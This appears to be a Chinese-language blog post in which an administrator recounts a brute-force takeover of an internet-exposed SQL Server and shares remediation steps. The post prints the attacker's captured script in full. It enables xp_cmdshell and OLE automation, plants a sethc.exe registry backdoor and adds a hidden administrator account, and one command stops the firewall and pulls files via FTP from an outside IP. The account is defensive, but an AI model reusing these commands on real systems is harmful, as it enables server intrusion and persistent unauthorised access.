一来到公司同事说系统登录提示‘sa’登录密码错误,郁闷!这么重要的密码谁会去随便改动它?于是把sa密码先改回来,测试程序一切正常。
可是不到5分钟后又被告知‘sa’登录密码错误!
反复反复修改了几次sa密码,都是被修改,并且修改时间越来越快
先了解一下情况,原来服务器开放了1433端口,在公网上绝对等死!
通过SQL Profiler 先跟踪一下数据库到底是中毒还是怎么了。
跟踪结果如下:
use master;
go
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
go
dbcc dropextendedproc ("xp_cmdshell");dbcc addextendedproc ("xp_cmdshell","xplog70.dll");
dbcc dropextendedproc ("xp_dirtree");dbcc addextendedproc ("xp_dirtree","xpstar.dll");
dbcc dropextendedproc ("xp_regread");dbcc addextendedproc ("xp_regread","xpstar.dll");
dbcc dropextendedproc ("xp_regwrite");dbcc addextendedproc ("xp_regwrite","xpstar.dll");
go
dbcc dropextendedproc ("sp_OACreate");dbcc addextendedproc ('sp_OACreate','odsole70.dll');
dbcc dropextendedproc ("sp_OASetProperty");dbcc addextendedproc ('sp_OASetProperty','odsole70.dll');
dbcc dropextendedproc ("sp_OADestroy");dbcc addextendedproc ('sp_OADestroy','odsole70.dll');
dbcc dropextendedproc ("sp_OAMethod");dbcc addextendedproc ('sp_OAMethod','odsole70.dll');
go
--*sp_password--------------------------------
--*sp_password--------------------------------
--*sp_password------------------------------------
--*sp_password----------------------------------
--*sp_password-------------------------------
--*sp_password------------------------------------
--*sp_password---------------------------------
--*sp_password----------------------------------
--*sp_password--------------------------------------
--*sp_password-------------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
--*sp_password---------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
go
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\taskmgr.exe'
go
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user TsInternetUser hackk /add','0','true'
go
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net localgroup administrators TsInternetUser /add','0','true'
go
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
EXEC master..xp_regread HKEY_LOCAL_MACHINE ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'
--*Statement text is removed
go
exec xp_cmdshell 'cmd.exe /c net stop sharedaccess&@echo open 60.190.114.148> cmd&@echo binary >> cmd&@echo bye >> cmd&ftp -s:cmd &del cmd /q /f&ping -n 3 127.0.0.1>nul'
go
--*sp_password--------------------------------
--*sp_password--------------------------------
--*sp_password------------------------------------
--*sp_password----------------------------------
--*sp_password-------------------------------
--*sp_password------------------------------------
--*sp_password---------------------------------
--*sp_password----------------------------------
--*sp_password--------------------------------------
--*sp_password-------------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
--*sp_password---------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
go
知道人家是怎么样修改我的密码了,先将外网的所有没必要端口关掉!
---------------百度禁用xp_cmdShell
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 0
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
把系统过程xp_cmdShell删掉。
同样的还有xp_dirtree,xp_regwrite,xp_regread。
最后把上面调用到的角本删除电脑查木马,杀毒。
这位温州的朋友,其实我的破服务器没什么东西,才80G硬盘,2G内存……用来瞎玩的,请高抬贵手一边凉快去
以上是自己的一点小小心得,还有许多不足之处,请高手们指点指点我,怎么样做才安全
还有哪些是露掉的?请指出。。。。。